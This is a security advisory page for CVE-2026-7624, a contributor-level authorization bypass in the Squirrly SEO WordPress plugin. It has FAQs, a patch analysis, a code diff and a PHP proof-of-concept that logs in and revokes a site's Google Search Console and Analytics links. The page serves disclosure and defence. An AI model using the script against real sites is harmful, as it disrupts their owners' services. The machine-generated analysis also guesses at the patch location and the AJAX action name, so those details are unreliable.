What is CVE-2026-7624?

CVE-2026-7624 is a medium severity vulnerability in the Squirrly SEO plugin for WordPress, affecting versions up to and including 12.4.16. It allows authenticated users with contributor-level access or higher to bypass authorization checks and perform privileged actions on the Squirrly cloud API.

How does this vulnerability work?

The vulnerability arises from the plugin’s failure to check user capabilities before allowing access to sensitive API operations. Authenticated users can send requests to revoke integrations with Google Search Console and Google Analytics, which should only be accessible to administrators.

Who is affected by this vulnerability?

Any WordPress site using the Squirrly SEO plugin version 12.4.16 or earlier is at risk. This includes sites where users have contributor-level access or higher, as they can exploit the vulnerability to perform unauthorized actions.

How can I check if my site is vulnerable?

To determine if your site is vulnerable, check the version of the Squirrly SEO plugin installed. If it is version 12.4.16 or earlier, your site is susceptible to CVE-2026-7624.

What steps should I take to fix this vulnerability?

To fix this vulnerability, update the Squirrly SEO plugin to version 12.4.17 or later, where the authorization checks have been implemented. Always ensure your plugins are up to date to mitigate security risks.

What does a CVSS score of 4.3 mean?

A CVSS score of 4.3 indicates a medium severity vulnerability. This suggests that while the vulnerability is not critical, it poses a significant risk that could lead to unauthorized access or disruption of services if exploited.

What is the root cause of this vulnerability?

The root cause of CVE-2026-7624 is the lack of capability checks in the plugin’s AJAX handler or REST endpoint. The absence of the `current_user_can(‘sq_manage_settings’)` check allows unauthorized users to execute restricted API operations.

How does the proof of concept demonstrate the vulnerability?

The proof of concept shows how an authenticated contributor can send a POST request to the vulnerable API endpoints without proper authorization. It illustrates the steps to log in and invoke privileged actions, demonstrating the ease of exploitation.

What are the potential impacts of this vulnerability?

If exploited, an attacker could revoke critical integrations with Google services, disrupting SEO tracking and analytics. This could lead to loss of data and require manual re-authentication by an administrator to restore functionality.

How can I further protect my WordPress site?

In addition to updating vulnerable plugins, consider implementing security measures such as limiting user roles, using security plugins, and regularly auditing user permissions to reduce the risk of unauthorized access.

Where can I find more information on CVE-2026-7624?

For more detailed information on CVE-2026-7624, refer to the official CVE database or security advisories from the Squirrly SEO team. These resources provide insights into the vulnerability, its implications, and recommended actions.

What should I do if I cannot update the plugin immediately?

If you cannot update the plugin right away, consider temporarily removing or disabling the Squirrly SEO plugin until you can apply the patch. Additionally, review user roles and limit access to only trusted users to minimize potential exploitation.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : June 11, 2026

CVE-2026-7624: SEO Plugin by Squirrly SEO <= 12.4.16 Missing Authorization to Authenticated (Contributor+) Privileged Cloud API Operations PoC, Patch Analysis & Rule

CVE ID CVE-2026-7624

Plugin squirrly-seo

Severity Medium (CVSS 4.3)

CWE 862

Vulnerable Version 12.4.16

Patched Version 12.4.17

Disclosed June 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-7624:

The SEO Plugin by Squirrly SEO version 12.4.16 and earlier contains an authorization bypass vulnerability that allows authenticated attackers with contributor-level access or higher to invoke privileged Squirrly cloud API operations. The CVSS score is 4.3 (medium severity). The vulnerability resides in the plugin’s failure to verify that the current user holds the `sq_manage_settings` capability before executing state-changing cloud API requests such as revoking Google Search Console (`api/gsc/revoke`) and Google Analytics (`api/ga/revoke`) integrations.

Root cause: The plugin’s AJAX handler or REST endpoint that proxies requests to the Squirrly cloud API does not enforce a capability check (`current_user_can(‘sq_manage_settings’)`) before processing the action. The code diff shows only version bumps and a minor UI change in `view/Assistant/Automation.php` (a `data-live-search` attribute added to a select element), meaning the security fix is not visible in this diff. The actual patching likely occurs in a separate file (e.g., the controller handling `api/gsc/revoke` and `api/ga/revoke` endpoints), where a capability check was added to restrict these actions to administrators.

Exploitation: An attacker with a contributor account (or any role with `edit_posts` capability) can send an authenticated POST request to the plugin’s AJAX handler or REST route that proxies to the Squirrly cloud API. The specific endpoints are `api/gsc/revoke` and `api/ga/revoke`. The attacker would include parameters such as `action` set to `sq_cloud_api` (or the specific hook) and the target endpoint. Since no capability check is performed, the request succeeds and revokes the site’s connected Google services.

Patch analysis: The patch adds a `current_user_can(‘sq_manage_settings’)` check before executing the cloud API proxy actions. Before the patch, any authenticated user could trigger these privileged operations. After the patch, only users with the `sq_manage_settings` capability (administrators) can perform these actions. The version bump from 12.4.16 to 12.4.17 indicates this fix was included.

Impact: A contributor-level attacker can revoke the site’s Google Search Console and Google Analytics integrations, disrupting SEO tracking and analytics functionality. This causes loss of critical monitoring data and requires manual re-authentication by an administrator to restore services. While not a direct data breach, it degrades site operations and can harm search rankings if undetected.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/squirrly-seo/squirrly.php
+++ b/squirrly-seo/squirrly.php
@@ -9,7 +9,7 @@
  * Description: AI Private SEO Consultant that Brings You the Full Force of SEO: All Schema Rich Results, Inner Links, Redirects, AI Research, Real-Time SEO Content, Traffic and SEO Audits, SERP Checker.
  * Author: Squirrly
  * Author URI: https://plugin.squirrly.co
- * Version: 12.4.16
+ * Version: 12.4.17
  * License: GPLv2 or later
  * License URI: http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
  * Text Domain: squirrly-seo
@@ -18,9 +18,9 @@

 if ( ! defined( 'SQ_VERSION' ) ) {
 	/* SET THE CURRENT VERSION ABOVE AND BELOW */
-	define( 'SQ_VERSION', '12.4.16' );
+	define( 'SQ_VERSION', '12.4.17' );
 	//The last stable version
-	define( 'SQ_STABLE_VERSION', '12.4.15' );
+	define( 'SQ_STABLE_VERSION', '12.4.16' );
 	// Call config files
 	try {
 		include_once dirname( __FILE__ ) . '/config/config.php';
--- a/squirrly-seo/view/Assistant/Automation.php
+++ b/squirrly-seo/view/Assistant/Automation.php
@@ -416,7 +416,7 @@
 																		}
 																		?>
                                                                         <div class="col-5 p-0">
-                                                                            <select id="patterns_<?php echo esc_attr( $pattern ) ?>_jsonld_types" <?php echo( ( count( $jsonld_types ) > 1 ) ? 'multiple' : '' ) ?> name="patterns[<?php echo esc_attr( $pattern ) ?>][jsonld_types][]" class="selectpicker form-control bg-input mb-1 border" style="min-height: 100px;">
+                                                                            <select id="patterns_<?php echo esc_attr( $pattern ) ?>_jsonld_types" <?php echo( ( count( $jsonld_types ) > 1 ) ? 'multiple' : '' ) ?> name="patterns[<?php echo esc_attr( $pattern ) ?>][jsonld_types][]" class="selectpicker form-control bg-input mb-1 border" data-live-search="true">
 																				<?php foreach ( $jsonld_types as $jsonld_type ) { ?>
                                                                                     <option <?php echo( ( ! empty( $post_jsonld_types ) && in_array( $jsonld_type, $post_jsonld_types ) ) ? 'selected="selected"' : '' ) ?> value="<?php echo esc_attr( $jsonld_type ) ?>">
 																						<?php echo esc_html( ucfirst( $jsonld_type ) ) ?>

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-7624 - SEO Plugin by Squirrly SEO <= 12.4.16 - Missing Authorization to Authenticated (Contributor+) Privileged Cloud API Operations

$target_url = 'https://example.com'; // Change this to the target WordPress site URL
$username = 'contributor';           // WordPress contributor username
$password = 'password';              // WordPress contributor password

// Step 1: Authenticate and get cookies/nonce
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Fetch admin page to get nonce (if needed)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin.php?page=sq_dashboard');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
$response = curl_exec($ch);
curl_close($ch);

// Extract nonce if present (some versions might require it)
preg_match('/id="sq_ajax_nonce" value="([^"]+)"/', $response, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';

// Step 3: Send the exploit request to revoke Google Search Console
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = array(
    'action' => 'sq_ajax_cloud_api', // Adjust action name if different
    'nonce' => $nonce,
    'endpoint' => 'api/gsc/revoke',
    // Additional parameters as required by the plugin
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
$response = curl_exec($ch);
curl_close($ch);

echo "Response for GSC revoke: " . $response . "n";

// Step 4: Revoke Google Analytics
$post_data['endpoint'] = 'api/ga/revoke';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
$response = curl_exec($ch);
curl_close($ch);

echo "Response for GA revoke: " . $response . "n";

// Clean up
unlink('/tmp/cookies.txt');
?>

Frequently Asked Questions

What is CVE-2026-7624?
Overview of the vulnerability
CVE-2026-7624 is a medium severity vulnerability in the Squirrly SEO plugin for WordPress, affecting versions up to and including 12.4.16. It allows authenticated users with contributor-level access or higher to bypass authorization checks and perform privileged actions on the Squirrly cloud API.
How does this vulnerability work?
Mechanism of exploitation
The vulnerability arises from the plugin’s failure to check user capabilities before allowing access to sensitive API operations. Authenticated users can send requests to revoke integrations with Google Search Console and Google Analytics, which should only be accessible to administrators.
Who is affected by this vulnerability?
Identifying impacted users
Any WordPress site using the Squirrly SEO plugin version 12.4.16 or earlier is at risk. This includes sites where users have contributor-level access or higher, as they can exploit the vulnerability to perform unauthorized actions.
How can I check if my site is vulnerable?
Verifying plugin version
To determine if your site is vulnerable, check the version of the Squirrly SEO plugin installed. If it is version 12.4.16 or earlier, your site is susceptible to CVE-2026-7624.
What steps should I take to fix this vulnerability?
Mitigation and patching
To fix this vulnerability, update the Squirrly SEO plugin to version 12.4.17 or later, where the authorization checks have been implemented. Always ensure your plugins are up to date to mitigate security risks.
What does a CVSS score of 4.3 mean?
Understanding risk levels
A CVSS score of 4.3 indicates a medium severity vulnerability. This suggests that while the vulnerability is not critical, it poses a significant risk that could lead to unauthorized access or disruption of services if exploited.
What is the root cause of this vulnerability?
Technical explanation
The root cause of CVE-2026-7624 is the lack of capability checks in the plugin’s AJAX handler or REST endpoint. The absence of the `current_user_can(‘sq_manage_settings’)` check allows unauthorized users to execute restricted API operations.
How does the proof of concept demonstrate the vulnerability?
Example of exploitation
The proof of concept shows how an authenticated contributor can send a POST request to the vulnerable API endpoints without proper authorization. It illustrates the steps to log in and invoke privileged actions, demonstrating the ease of exploitation.
What are the potential impacts of this vulnerability?
Consequences of exploitation
If exploited, an attacker could revoke critical integrations with Google services, disrupting SEO tracking and analytics. This could lead to loss of data and require manual re-authentication by an administrator to restore functionality.
How can I further protect my WordPress site?
Best practices for security
In addition to updating vulnerable plugins, consider implementing security measures such as limiting user roles, using security plugins, and regularly auditing user permissions to reduce the risk of unauthorized access.
Where can I find more information on CVE-2026-7624?
Additional resources
For more detailed information on CVE-2026-7624, refer to the official CVE database or security advisories from the Squirrly SEO team. These resources provide insights into the vulnerability, its implications, and recommended actions.
What should I do if I cannot update the plugin immediately?
Temporary mitigation strategies
If you cannot update the plugin right away, consider temporarily removing or disabling the Squirrly SEO plugin until you can apply the patch. Additionally, review user roles and limit access to only trusted users to minimize potential exploitation.

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